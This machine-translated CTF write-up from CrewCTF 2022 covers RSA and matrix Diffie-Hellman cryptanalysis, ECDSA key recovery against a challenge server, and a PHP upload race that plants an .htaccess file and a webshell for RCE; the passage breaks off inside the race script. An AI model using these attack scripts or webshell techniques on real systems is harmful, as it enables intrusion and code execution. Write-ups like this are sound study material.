CrewCTF 2022 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time XxTSJxX took first place. I solved various challenges except for Forensics and recorded my solutions here.
crypto
*The D
This challenge is quite special because after I solved it, rbtree pointed out that it was plagiarized from pbctf 2020's Special gift. For details, you can see About one challenge in CrewCTF.
However, I'll still share my script for solving this challenge here. The method is somewhat similar to the Boneh-Durfee technique:
from Crypto.Util.number import *
n = 108632663721119265653629732004609859912298449722633799380285883216648160372857601675801760067880978603917847166703692881045035049896529437951217729992932290717211826160576978461392959086020394468359011218552688774321371304568720044645937228650936226679777817165681833656879074060600223318274941034682744658669
e = 14345844425098016213772256482412079289738393745812073498070209808609907033131393382491530045098843233130881036367887366122371869140643548114038280798707335512800598771342888649856115041456779942132451953091263382954458865505900604068867390149259907682124384405206933288176074626319327127085393581350114292491
the_d = 352073377710397761326601223497407217398962745361852626950893310432240855120282253164273
enc = 3809030071658869024019958989413816190555340165190309349307102024078006074888098309799897882917168240924288075419204826634001055954925033995420530107957711139551352690895168173180794129426016555460621859927958574473508871402627777469014569797460317116847974290121701679302684325635172184673761623938649140825
k_ap = (e * the_d * 2 ^ 120) // n
d_ap = the_d * 2 ^ 120
P.<x,y> = Zmod(e)[]
f = 1 + 2 * (k_ap + x) * ((n + 1) // 2 - y)
load("coppersmith.sage")
x, y = small_roots(f, (2 ^ 116, 2 ^ 513), d=3, m=4)[0]
# x = k - k_ap
# y = (p+q)//2
P.<x> = ZZ[]
f = x ^ 2 - (2 * ZZ(y)) * x + n
p = f.roots()[0][0]
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(enc, d, n)
print(long_to_bytes(m))
# crew{m1rr0r_m!rrOR_0n_+h3_w4LL_wh0_h4z_t3h_b1gg35+_D_0f_th3m_all??}
delta
from Crypto.Util.number import bytes_to_long, getRandomNBitInteger
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from flag import FLAG
key = RSA.generate(1024)
p = key.p
q = key.q
n = key.n
if p > q:
p, q = q, p
e = key.e
cipher = PKCS1_OAEP.new(key=key,hashAlgo=SHA256)
c = bytes_to_long(cipher.encrypt(FLAG))
delta = getRandomNBitInteger(64)
x = p**2 + 1337*p + delta
val = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) % n
print('n=' + str(n))
print('e=' + str(e))
print('c=' + str(c))
print('val=' + str(val))
It can be seen that the polynomial of val has a very small root under , so using Coppersmith to find it and then substituting it back into gcd to find .
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
n = 141100651008173851466795684636324450409238358207191893767666902216680426313633075955718286598033724188672134934209410772467615432454991738608692590241240654619365943145665145916032591750673763981269787196318669195238077058469850912415480579793270889088523790675069338510272116812307715222344411968301691946663
e = 65537
c = 115338511096061035992329313881822354869992148130629298132719900320552359391836743522134946102137278033487970965960461840661238010620813848214266530927446505441293867364660302604331637965426760460831021145457230401267539479461666597608930411947331682395413228540621732951917884251567852835625413715394414182100
val = 55719322748654060909881801139095138877488925481861026479419112168355471570782990525463281061887475459280827193232049926790759656662867804019857629447612576114575389970078881483945542193937293462467848252776917878957280026606366201486237691429546733291217905881521367369936019292373732925986239707922361248585
P = PolynomialRing(Zmod(n), "x")
x = P.gen()
f = (
pow(2, e, n) * (x**3) + pow(3, e, n) * (x**2) + pow(5, e, n) * x + pow(7, e, n)
) - val
delta = f.monic().small_roots(X=2 ^ 64, beta=0.48, epsilon=0.02)[0]
print(delta)
p = ZZ(gcd(f.change_ring(ZZ)(delta), n))
print(p)
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
key = RSA.construct([int(n), int(e), int(d)])
cipher = PKCS1_OAEP.new(key=key, hashAlgo=SHA256)
print(cipher.decrypt(long_to_bytes(c)))
# crew{m0dp_3qu4710n_l34d5_u5_f4c70r1n6}
signsystem
import sys
import random
from hashlib import sha256
from Crypto.Util.number import inverse
import ecdsa
from secret import FLAG
curve = ecdsa.curves.SECP112r1
p = int(curve.curve.p())
G = curve.generator
n = int(curve.order)
class SignSystem:
def __init__(self):
self.key = ecdsa.SigningKey.generate(curve=curve)
self.nonce = [random.randint(1, n-1) for _ in range(112)]
def sign(self, msg):
e = int.from_bytes(sha256(msg).digest(), 'big') % n
h = bin(e)[2:].zfill(112)
k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n
r = int((k * G).x()) % n
s = inverse(k, n) * (e + r * self.key.privkey.secret_multiplier) % n
return (int(r), int(s))
def verify(self, msg, sig):
(r, s) = sig
e = int.from_bytes(sha256(msg).digest(), 'big')
if s == 0:
return False
w = inverse(s, n)
u1 = e*w % n
u2 = r*w % n
x1 = int((u1*G + u2*self.key.privkey.public_key.point).x()) % n
return (r % n) == x1
if __name__ == '__main__':
HDR = 'Welcome to sign system.'
print(HDR)
MENU = "1:sign\n2:verify\n3:getflag\n"
S = SignSystem()
try:
while(True):
print('')
print(MENU)
i = int(input('>> '))
if i == 1:
msghex = input('msg(hex): ')
sig = S.sign(bytes.fromhex(msghex))
print(f'signature: ({hex(sig[0])}, {hex(sig[1])})')
elif i == 2:
msghex = input('msg(hex): ')
sig0hex = input('sig[0](hex): ')
sig1hex = input('sig[1](hex): ')
result = S.verify(bytes.fromhex(msghex), (int(sig0hex, 16), int(sig1hex, 16)))
if result:
print('Verification success.')
else:
print('Verification failed.')
elif i == 3:
target = random.randint(2**511, 2**512-1)
print(f'target: {hex(target)}')
sig0hex = input('sig[0](hex): ')
sig1hex = input('sig[1](hex): ')
result = S.verify(bytes.fromhex(hex(target)[2:]), (int(sig0hex, 16), int(sig1hex, 16)))
if result:
print('OK, give you a flag.')
print(FLAG.decode())
break
else:
print('NG.')
break
except KeyboardInterrupt:
print('bye')
sys.exit(0)
except:
print('error occured')
sys.exit(-1)
In this challenge, the ECDSA uses a for signing that is derived from a subset of bits of the hash, with the nonce
being completely unknown.
The solution is to set and nonce
as unknowns, and after collecting 113 signatures, you will get 113 equations. Since there are only 113 unknowns in total, solving the linear system will yield .
from pwn import *
import ast
from hashlib import sha256
import ecdsa
import os
from tqdm import tqdm
curve = ecdsa.curves.SECP112r1
p = int(curve.curve.p())
G = curve.generator
n = int(curve.order)
# io = process(["python", "server.py"])
io = remote("signsystem.crewctf-2022.crewc.tf", 1337)
def H(msg: bytes) -> int:
return int.from_bytes(sha256(msg).digest(), "big") % n
def sign(msg: bytes):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"msg(hex):", msg.hex().encode())
io.recvuntil(b"signature: ")
return H(msg), *ast.literal_eval(io.recvlineS())
sigs = [sign(os.urandom(8)) for _ in tqdm(range(113))]
P = PolynomialRing(Zmod(n), "x", 1 + 112)
d, *nonce = P.gens()
polys = []
for h, r, s in sigs:
k = sum([nonce[i] * ((h >> i) & 1) for i in range(112)])
polys.append((s * k) - (h + r * d))
M, v = Sequence(polys).coefficient_matrix()
print(vector(v))
A = M[:, :-1]
B = -M[:, -1]
sol = A.solve_right(B)
d = ZZ(sol.list()[0])
print(f"{d = }")
io.sendlineafter(b">> ", b"3")
io.recvuntil(b"target: 0x")
target = bytes.fromhex(io.recvlineS())
k = int(48763)
r = int((k * G).x()) % n
s = inverse_mod(k, n) * (H(target) + r * d) % n
io.sendlineafter(b"sig[0](hex): ", hex(r).encode())
io.sendlineafter(b"sig[1](hex): ", hex(s).encode())
io.interactive()
# crew{w3_533_7h3_p0w3r_0f_l1n34r_4l63br4}
matdlp
FLAG = open('flag.txt', 'r').read().encode()
p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
m = 6
import random
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util import Padding
K = GF(p)
matspace = MatrixSpace(K, m)
while(True):
U = matspace.random_element()
if U.determinant() != 0:
break
print('U={}'.format(U.list()))
while(True):
l1, l2, l3 = K.random_element(), K.random_element(), K.random_element()
X = matrix(K, m, m, [l1,0,0,0,0,0]+[0,l2,1,0,0,0]+[0,0,l2,0,0,0]+[0,0,0,l3,1,0]+[0,0,0,0,l3,1]+[0,0,0,0,0,l3])
if U*X != X*U:
break
print('X={}'.format(X.list()))
def genkey():
t = random.randint(1, p-1)
s = random.randint(1, p-1)
Us = U**s
privkey = (t, s)
pubkey = Us * (X**t) * Us.inverse()
return (privkey, pubkey)
alicekey = genkey()
bobkey = genkey()
print('alice_pubkey={}'.format(alicekey[1].list()))
print('bob_pubkey={}'.format(bobkey[1].list()))
alice_Us = (U**alicekey[0][1])
bob_Us = (U**bobkey[0][1])
sharedkey_a = alice_Us * (bobkey[1]**alicekey[0][0]) * alice_Us.inverse()
sharedkey_b = bob_Us * (alicekey[1]**bobkey[0][0]) * bob_Us.inverse()
assert sharedkey_a == sharedkey_b
aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()
cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
ciphertext = cipher.encrypt(Padding.pad(FLAG, 16))
print('ciphertext=0x{}'.format(ciphertext.hex()))
This challenge involves a matrix-based Diffie-Hellman. The public parameters include a prime , a Jordan form matrix , and an invertible matrix , all of size .
The private key consists of two numbers , and the public key is . After obtaining the opponent's public key , calculate to get the shared secret.
Given and , the shared secret is .
My approach was to first obtain the Jordan form of , then solve the DLP for the three diagonal elements , and use CRT to find the corresponding . Since is very smooth, solving the DLP is not an issue.
The remaining problem is to find given . I tried setting as a matrix with 36 unknowns, but the solution set (kernel) had a rank of 6, indicating that is a linear combination of 6 known matrices.
This means that there is not enough information to find a unique solution with 36 unknowns, so the information that is a power of needs to be incorporated. I first transformed to an extension field () and diagonalized it as , so .
Clearly, is still a diagonal matrix, so setting it as a matrix with only 6 unknowns and substituting it back into yields . This time, the solution set (kernel) rank is only 1, indicating that any multiple of the solution satisfies the properties of , meaning that is obtained, where is an unknown scalar.
I don't know how to find , but it can be observed that cancels out when calculating the shared secret, so it can be directly used as to calculate the shared secret.
p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
m = 6
K = GF(p)
U=[121724107196232336447770662565376553386975716142815255444385680256593847147303127362594142230997680664326238021655319449918322123988355830111390038828246287143134913550681374059541524579999838, 453820185074697541771109032076990418248731462070026761466713681038059403482651571417749908181364983036982465189585414975479297943661360528381140258890162036363215969848999742697434996892144894, 888904521222411682518437837602316621715283540561332742372056990585048760725085020955088786187296233120874490517497227239869864556565393376403031696414704990296976748050488245770731810961156131, 581881774786398049542143884451759033059220845104227715190060037724183423189698262173579713428600925334799120172287204029059732017918777467539551554702868497117571458663292856770301084729223325, 213399099561553968452227447825701145406606678556374356375834510855322811333965353305947324180837526052434539008542430368726969934526180340899262134424560771150219835292210510077659096032361081, 726306957674098973463669449205280632112952697976165388994578978291000322901971915598478394462547473777213968167488256107129207842112295396086336618124560346370188021589692540663118227451140883, 1011678721518897027916325157951798404294577332528705745751557767967602388752749347813272248499255443831128050483714638548577765950907924791876961624026666242141507553205161620280559190054619446, 958502794192732432000715476302401201686205485088380833667717911798006977356576442649145663197844832203745846820870677189003262489074035145704110745845363257060461795067753533459777604895526771, 202850224483611491833546926727301549856188494302469685020714728115654157301838398320445969911225752903551946807011915228467514693529635060805610255204023393803621621954936785301836655220606754, 63000402202674470987549893095919291026024000725135922571038548319630608944734902913849060426084137627585068964612983217926039074199390984708182879168515923465704222063892030792245169878219213, 181813676663842900455545303360494577200828970797295532767312318233494361815625765041389512163224957562573048502520822896299427691397598207208851236914763365100008678170296606446808877955182632, 53515837453548494633008898328313765824225860239511383688931545859755879843109634398844251440383948646654086684202702948885879333907704576591121640733270291435357323508643032759177050178990455, 70106480932202400998831076572153951759364884899608048996012038289336698559579874378171904529515810278459571707920273902846450574701179594463861651829316591442362386285003521924437486981838532, 170088330705416142972746337585478705831915389863713053372961052721581832083687860612080341613627062523289675322160425656682390611375852481338325515100183451324396587412192077475627991470426626, 756513977491511882613038145620083132033888579685348385225736772268504466623300811590446914491712855660237802682398674613618962244444990513435840543226833431113317723219994695178693097656331762, 79309604212300863933326103255412643679841631246441241070006196328008920817814318035543589782744257694010769783616430610729371220676935088568969029322080512153562308924991225726432666062506837, 800411451665787408168921195669805169317618739979288794439831214731033267744049419706279590600114021600443241290356054265242441158029625934178919619025922078283724354359744346634834521422652790, 68925524430148038499298305540358899745485001433103578815649870647727336327381059785357779100145731284536918191792144429773805665781423949865756776476078664828057890702460899933562999507117566, 423944912189867454773980956382377827510710004819321547315262213152113092794138035924283232825443217739206507233574946279468890045557501425186379484465971116424817534331795589649938554736793697, 882642395539262497133804146777651159571539132312129336500992046523880743705704453319893868634750960423490562526270041903363902250954426518700738315675416961432212294455999213649344048459916253, 323181802594209439216331775558169563133670139078841935071683414779010737497882675663332965989326479440659535217595086730568131232843922026684864378425693847267174270073636007862649084328111268, 458356109085804465405942596585709818955850868083307853697317448961172176537706300187797127840945087719636258692202422824933697934150186296045468854411806733048797056896305654553268106018202559, 223649238938156749401277927132167118809304798451412064366101967396358946794200560305024056489148556346779875840226129939246373933199713930183240649517127517281530629644577304132580006550910605, 583965530461728346789635651039529729887362732365376358644866050762739056643815594718257394164991737258447570131667164982385693894701496949745408365077077143067374451671492964274340903425215895, 520566001278896523460810243756437140413238934122707181614114009624975786560294599194852975698432954275782537087035701308871804804537429339854307077193606711935824463476864407847641181942068455, 946292049073029318579306088806120099328267016808936713558706257243459052837191491405805465123689753683449191142788686869351808940915449406558113453359511648847167202136920936112323057239994849, 349736259232784563576099161746209356629561284586851817086226960125523290677147656251159732668923022797475132247699327927531391868438109442908467828363991237429665043796976586673039506882141904, 376703737655898963433671842299921316908545431947318742754606781086568310028659564221154597057244680647246317396251058362889477803761906769212712142613046234751643518697325757010187742568976669, 1000112119924251383262406754660395500244680587607257414655371359128149397094755520380800047648173757304169955134378756353234439660977685507764514505147838549303215448074431573924749068204214005, 47443642170077728658524808077041962414489371813521012107728493269938273865645755747684722876057214089480043764555388931531278374258146496230188976333730017510702427648745767842812050214779043, 716730328742123451467343434593681648928819098014914336483166928254027413751634733072283796353092986459907208109681012201636040551763005175188873835035801011983586415516210230827019039664595609, 825629145023277979908958075151347302439201227687495351242822215169551689968057664403186945204153448736324235401010988497720253973172485809878422110800752121060572509339575328018959130318486316, 102535126036399211828881619646111690806915690449179767858859181652752224273710740536886016424349959772553914543577824953847595240092453767682143276691782635034634902150391602746595422785008268, 847829669660384127581454815979030363580925786391821448891887722907586804075418223081029167640127709671370243523791937476271586223269569973355422966706841135646427040933362228758535933468395777, 254259834377198288206175730333116144470039623658117041745258470972460597809601382745360471288105559978148663727962493802497861904710332228009229845634173633686283092826674003605716537139045279, 376861205958054807825124012151969896769285931543165306391438228569627019865115643597365811558410195042463562944269300285787723301749340886920964172257522530856056802857431495270079792700006085]
X=[971233134119380668117642228627125000141880853312269304417699370366356828749365272615070155481032497153313240777405418715764975535866976881693473914578937918561449584827101559131791816846420556, 0, 0, 0, 0, 0, 0, 176850517348883146062510965792204332402555381562206446888286625506014335791686043989507063454021896202849205821950533791917187219114458250625891903380739973033589178804432928009967501275159063, 1, 0, 0, 0, 0, 0, 176850517348883146062510965792204332402555381562206446888286625506014335791686043989507063454021896202849205821950533791917187219114458250625891903380739973033589178804432928009967501275159063, 0, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592, 1, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592, 1, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592]
U = matrix(K, m, m, U)
X = matrix(K, m, m, X)
l1 = X[0,0]
l2 = X[1,1]
l3 = X[3,3]
alice_pubkey=matrix(K,m,m,[200606741107179908813109308307903027642015584334534675621103691598046477496102523962919739840494631214139325219924232633207191553518805768081115927074081516559273961308772920649781460741985850, 613152476482993344271895723294119271689458072462742936498516661436126878254341464571961484304258329485516675532778884296259277459630059640026099155797702769615689607509261878097313238125476869, 664083131880629766237676403611179702537957408838255540094022461941946041162837732476733228652786609112430083752533742733898718050740269852914111982055226281378882104363778662471198767543674822, 911672981279979394315104825702604584402495780138915161460385721860649308041622810895132554286366031530157612026462051807991995584077627729733576583092446582813844797721213161204116012173802573, 532296855529988191510673720113075974404501369885980162173704285470019980909731877123525593863718952575924362289016065932619201127011092384312056119046429074307416204240389178918467236874480713, 1014842110872374237954469031334444239944511110307499328674896800956603272623154779618166207235380701234835778116744717100631384230959813424961406540755244595813762093671150007424908528725671958, 72503724407460475618607947834087162593211584599996312900637523685303769502507367090710125467203952887150311936077049536900135301030517512101882869105809064890404099645438063838061458881164797, 792913485627878043904340917071621857266675615512801317169514614546202704893946606397544984334447977692164481393803609264619098954002133134202265965338032231325825524907326705840679147665317063, 995860818985258557438662336868447205614120037730925187356345130650312363519071859106043391745598331835567285458193796418012491113461880880982765644530555862733132710331515575702399672592055833, 535806093627503344398254103836185496167642375084022958435228515642916864872287617173504253294104566939735040198324107646418320299149633117005357816766118527366971854511601556048447365376725099, 387204198254279138789443838388854787287733836239897004992549357817763421640725088628391111290995878575460993682239123929165478253216361375715050768036758198921692021096735800914565556151711442, 759034791011613265312249784860213294611386620473440966777942688249850970028201605614591614703862377482798773992973015364965727536345568599926784182686694311152108638075312210857385989950411810, 814906225993371197749063210340536689598571944602922747533205322211894810320123294059634166491837367205929689645485887985823427134624223590301195665483499207334885970704220127939744929410996981, 183286026963471496828768457904467143520627087747864177941440554330014158826330894951535261431342910998818716852339746917513263835288633849420491839543107685933085838804460884179113636695418391, 91135122102770188861843156771364386778428216095340402294508837326048125552487746901643776157184670829767045880998280425122922016900485728418168440954572342837216886912075563904379838849040705, 205506819274826398144907975717140748625091196209717618618394696157605445719833887622969824038240208865655464735047308518569957281501396270721128886143088612856000800703944539777753976231817791, 474754470334877353131454603477118793020586947286558065774200286173069000485566738894197496365688773025126666042856799559621291273164467430179715768133065398535249913515949196020195470892760010, 200186313538816799446196757571377626797541628323445214761818174579079591443212028718049532885287867156713130941486997346816358224663585803282703030855374534247784363551566132781195666341121262, 635401219828031646162366028397393439928704203551921481773789805483732424338897394292222899290616464395180472449361184422014544826096882453670494494667006295553688418919304223471920602156302360, 102670425834397096497619545204285505952924591394789567689172769250962069751871949239335769701391192207160944686227254131645924091380733851172372308121872042062773430856147936282104711649899299, 404351493335630572754635052272877275408260097467816483476594335833334232932916655360699738469001954853743073324077976660400316826251281885390619198007147019747509099734857832505056322515897679, 271424790231306178301568048188425725775773407647874821987469310448113853248849889519276779237812057338836551367193842426217063405140115120935725111293627978088233967113409400962846760694437098, 59929452409857052720430069969144223646194343635736099178293921499044043353449295156521696984199550990237538830958506755933539520942839395576594666901799091187324941220784219530302764121776477, 651580445753023646492042335061114112478832940852813964765760889616361976629528086378344617333005480106882807804881034712583082005353029214416790422542732086259581353271162645288445802595223547, 782069435050849892658208596603123354524719216798947089949726788529355137271169967058573190418197754912542511220892693956880099811336142919836479983089715281869025948238556155580767339884345709, 66878572824817255698821995114725522489936570688501921852680852570766753790568654464451658286452198163468486751486853228336835250167537616349533509183803501994719404582718088100308523540429163, 905102664409821975417035861525193582228284542902777064449436282326464445443983696272595305179070626061735776394097034411184432745044181538775415592210502209491754582097216911122664540679333334, 1019230724675549714957339947239658157588848299957574308859250444624206484622482817882594733993740429713313399356956883850635112612812283677632934972386998470049562391295134299366044853378507082, 940438300888830257680439152546738668870565967995507161826803630246742570277990704830103717765127301027274801706507254927269931973690130475666160323527563196939735758029253821976299112530903491, 398951613426463844938936679548263076288341006257355437922536322282822856268616355401629458376269297053988391665881615862277887334445730884413961261589404311339485126178711529151560604005413215, 117460064360390011101383842885971347243365461033773729877452021939612168836443898915824439477724501162974250540116687042366101254828286429362184165918329879048073913642554108300729698762343972, 744266171315040717186039984293338116914580346265712989686193138419111521590842986862030011454243533473084340839650845638522294437571033752414607871153151077823392233346760107174590711690631970, 234625223203069305143684842212572136949416995949391894185129722044018986055632499771691956014592317473284182738151208906323177136060410162078923710339608194485931293215040110329798033942219793, 964408920838027480980374246072025587173794955565313562651810505905473231436475093591098525269082230659744893519391379870170607171762356159031032913730520888757194705745227544719574158919397203, 848363309960509099486614666664441581060155982407074583128361038898025469904560933809482584055420205465729436093595673957961424498487458283881923300300771956224804636929333799925685328404186223, 489088085909372617576368297865501106163058229888238029624732235549291045890721096782012481511434420206850964031806258971654978251532522986224552507629496349553678294088028907695582538966378849])
bob_pubkey=matrix(K,m,m,[480444348859594121393545117827975510702193774717711869938069944371733405361830664450734257752635343183962970334096925174397309641485698386546770316779406798438674428685397649265983136601664292, 446679478184836112752702544123644746242191965483829606047329149908530332400609645555535802997860952519572337078168968756898582841608538321102429370455295700733449739567360963505911361344303011, 73839906473229992828167119669698745006987869354501197347040372212944096744563547076972167018746687676615252779838862963625853620749953708666352605691457380730547484226328084852968526641458080, 789963229614065480220299470764723555701512137658474947583714466802001159623418630380677895208152402597421160393786561830510690162840447550602620692068009163210744664569469249205827739398025627, 140907717449865719853497560794788875243118746275006116438344085203066445275778470823640279965447594069932227296507495202588361212275677637306225832182693406090352410410595626147093217645561111, 774267624911681573242550316593556993794115161529603549043458020834378210445257685499312114978389971008129781014535964644297229254208013518286547166347322981526085635590538190729546600768907586, 945886253717246814575154623773649816236351443620266089294890709461982813971364364171748261295864356062213484769308630587333121001490320154778133341212676933442633799534973823372153714461777847, 56025280923406620325648605240095942945397493613609970129736585386810236475885443627974687608178035481699771922761573851834479528398023985399595198433978641613039688876052103689444907759058570, 762135491932075469298248496268566434040833241564752581811415096228657829294029159563933391337180814756261891503469007927152474929565817717484769723601484695360851064145606660539147300024234377, 456502523650117264270218169018130879058853480415232413747352870478358348337620659215806951327729701648440117533248174064501472560013003969851528084987431320878784209048211503605689160884826913, 618844901463531994991492421473031259677074889967613568620384914779574129784308110910525426968046537642963827091777362390122305724742361179044417682929745824168380717061874390352887759136378866, 893336458248384992635761138151415449625890630637176900851354534023636267446211659339762011618878970296211384501264842269093216885153161226918762741180466653836480283597351116788492855746973166, 149023799308669764045413165576487382053969576875356506521092628522706404065399706479910576681313294954359364152259724599001417167697325971446443736430091488020449726341609923444522024463280659, 260155658330949897944628518772102200175951400758660830449334448377980566796674722849131131309677373194934132811847791443387366925460404608604372030982241061998726032009626508427487467375538747, 118107665769986871450275025092085005903461876628519163232918398394036871456407256730228734665264542517719782826234582187241449219649945020582410785448862366027771671943303552665314844171238623, 949712297021385649564622406365993991750456942208798821756378672905644952722902936748853284394534410029040753708526383078225153362260151561342818345259487508148121928866905298450622927296486049, 572064210342531413502184167321584338198559585599223811264057019852123610291821086972949905557731162823822351333411352745501115329050262179268028854462584988287973639973632893883788711282259523, 583977923753565443458375219828130572131182258739665859839510377143113436115691859383075157667733537089999976632054446765345906056362046548363689859396779228167289681330497820681596570098622300, 1012023582102578281424365435029032391526182689068799278794983069763576470133348581556429914230284998730133594461852895636165155910572637725344378125116561853699173529083365632380777740865891587, 789443489487520603449788572587167106923067865971702795507437517288927194851948210085550275845106176329614578976702384784324482910879667628170786006414429947814788245057291130058625691331514981, 730399214898592801694727631755596727287253603938410351361009089858148160674695179884728934090317753864369202483901467090687570841812090457015632799153087648980570065801919204074948603431366695, 754837460704128062038339712766238879895564974015558179315276051624184718334757738722906947294203207200083071681155204219883596720788395744599634487677843794675149902562423845694341186027236109, 511961350715627289390881813178525320782146173452529627908723389372435660317123281846720188796505787434164348004217512679311110916811853209806027285058658135585725757208703541693776946059871865, 172089604741974434978705116416329535993679177226446696805205631434329889826229297120231259487125883671550050612544805907663057822792289081255193042425809349555656614432076225241368741358867716, 1023954552108114497424604081483879928757419612413018334126698535156128888644301998610104477856452640739605193257100158681113392015498492315443892920323517580088091859782208618345940527621076255, 574501908434034227077503115757154288318756766201780920749180483566005686488249997159821569316283109128162235822276194365911053707840707029115691428811989902716247537928600491619335323110370568, 319739007538475332510322875324653324824194034650500146606187183783865327585862127342744236520547243912682313100479095374238577036992748400371996524997661403938165727313172464670850559522599518, 457923718443554179553481650617993662528390895483302792285941425570220350144037992389001005733691704424984586855458596786922115681384231264481553485892390551584667992875037052252813591202914687, 730382637909680232717102749490870962684186333757423214856460824515119801436363540398880108301970280593075050389012158231640644520245330058439713305221735811517178536314710524037342820920496134, 516296289042481961101106375885627825579482293633184384182947458665105570171208191780105239515341432355000523407313409422002960392364933210938569936156287664402500195348149240115168471641409146, 750415218434645852202735689349488296345303375562618196299132049073518151278829979117342229529531136385867497267094623478112970365406886091143281292327603144076003504608256869715799943766817824, 407064481467197791517954486920634626806312101305511650082428649575398468007545923990646229943425631313889587518999162504809992376546413613085450232154350328056497843058329071160896802437929134, 670491768443294113792978483604494213083720337280110838764513444925588560848203324898783103735733690485350965630135202639416540539563909891549753152402526679203852653129195890099249189709801187, 753278865507828353851232330340001111206712563924261612982073675238753370073907257634364835965139925615023575903821121497309123794722108931879535866667536181216026680059636668598618656004795831, 661321974800454166314540713337512232084440894864985987929921949320215380683712389292829462527171718692691883805970185195989443937470503523787158346077605484366926014104138048002296834402526485, 37242412863363082238131872960392477174383542463610423700904785753002371004680683807463465249301019522838527489830506747726148717514333170872796498357579421581267442623620458076214950688424005])
A=alice_pubkey
B=bob_pubkey
J,P=A.jordan_form(transformation=True)
assert P*J*~P==A
l1o=GF(p)(l1).multiplicative_order()
l2o=GF(p)(l2).multiplicative_order()
l3o=GF(p)(l3).multiplicative_order()
t = crt([J[0,0].log(l1),J[1,1].log(l2),J[3,3].log(l3)],[l1o,l2o,l3o])
print(f'{t = }')
f = U.charpoly()
for g,e in f.factor():
if g.degree() == 1:
continue
assert e == 1
K = GF(p^g.degree(), x, modulus=g)
# K = GF(p^2)
D,P=U.change_ring(K).diagonalization()
PR = PolynomialRing(K, 6, 'ds')
Ds = matrix.diagonal(PR.gens())
lhs = A*P*Ds*~P
rhs = P*Ds*~P*X^t
eqs = []
for i in range(6):
for j in range(6):
eqs.append(lhs[i,j]-rhs[i,j])
M,v=Sequence(eqs).coefficient_matrix()
Dss = matrix.diagonal(M.right_kernel().basis()[0])
Us2=(P*Dss*~P) # some multiple of U^s
shared = Us2*B^t*~Us2
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util import Padding
ciphertext = bytes.fromhex('fb8ce381ac7d8d763c79de601ad91dbec2b9d2b63e3a4013b6164331e892490c676f7644c44ee5b4108e6494f6802171d3b79b3049aed2efdc28a6f8aba2947c')
aeskey = sha256(b''.join([int.to_bytes(int(shared[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()
cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
print(Padding.unpad(cipher.decrypt(ciphertext), 16))
# crew{dl_pr0bl3m_0n_f1n173_f13ld_15_3553n714l_70_4n07h3r_w0rld}
Additionally, I discussed with Utaha and learned another interesting method to find . The approach to find is similar, so the problem to solve is .
First, consider as a linear transformation, so . Since these are matrices, they can be flattened into a -dimensional vector, allowing us to find a corresponding matrix for .
Thus, the problem becomes , and this type of problem already has a known solution to handle it.
web
Uploadz
<?php
function create_temp_file($temp,$name){
$file_temp = "storage/app/temp/".$name;
copy($temp,$file_temp);
return $file_temp;
}
function gen_uuid($length=6) {
$keys = array_merge(range('a', 'z'), range('A', 'Z'));
for($i=0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
function move_upload($source,$des){
$name = gen_uuid();
$des = "storage/app/uploads/".$name.$des;
copy($source,$des);
sleep(1);// for loadblance and anti brute
unlink($source);
return $des;
}
if (isset($_FILES['uploadedFile']))
{
// get details of the uploaded file
$fileTmpPath = $_FILES['uploadedFile']['tmp_name'];
$fileName = basename($_FILES['uploadedFile']['name']);
$fileNameCmps = explode(".", $fileName);
$fileExtension = strtolower(end($fileNameCmps));
$dest_path = $uploadFileDir . $newFileName;
$file_temp = create_temp_file($fileTmpPath, $fileName);
echo "your file in ".move_upload($file_temp,$fileName);
}
if(isset($_GET["clear_cache"])){
system("rm -r storage/app/uploads/*");
}
?>
<form action="/" method="post" enctype="multipart/form-data">
Select image to upload: <input type="file" name="uploadedFile" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit"> </form>
This challenge is essentially a PHP file upload service, with a .htaccess
file that prevents files under storage/app/temp
and storage/app/uploads
from being executed as PHP.
The upload process copies the file to storage/app/temp
with the original filename, then adds some random characters to the filename before copying it to storage/app/uploads
, and finally deletes the file from storage/app/temp
after sleeping for 1 second. If you upload a .php
file directly, it will be blocked by the original .htaccess
, preventing you from getting a web shell.
Note that it places the file in storage/app/temp
based on the original filename, so uploading a .htaccess
file will succeed. Therefore, by uploading both a .htaccess
file and another webshell (e.g., peko.p
) before the sleep(1)
ends, you can achieve RCE.
So, I wrote a multithreaded race script to brute force it and get the flag:
import requests
from threading import Thread
base_url = "https://uploadz-web.crewctf-2022.crewc.tf/"
def brute():
while True:
r = requests.get(f"{base_url}/storage/app/temp/peko.p")
print(r.text)
def upload():
while True:
requests.post(
f"{base_url}/",
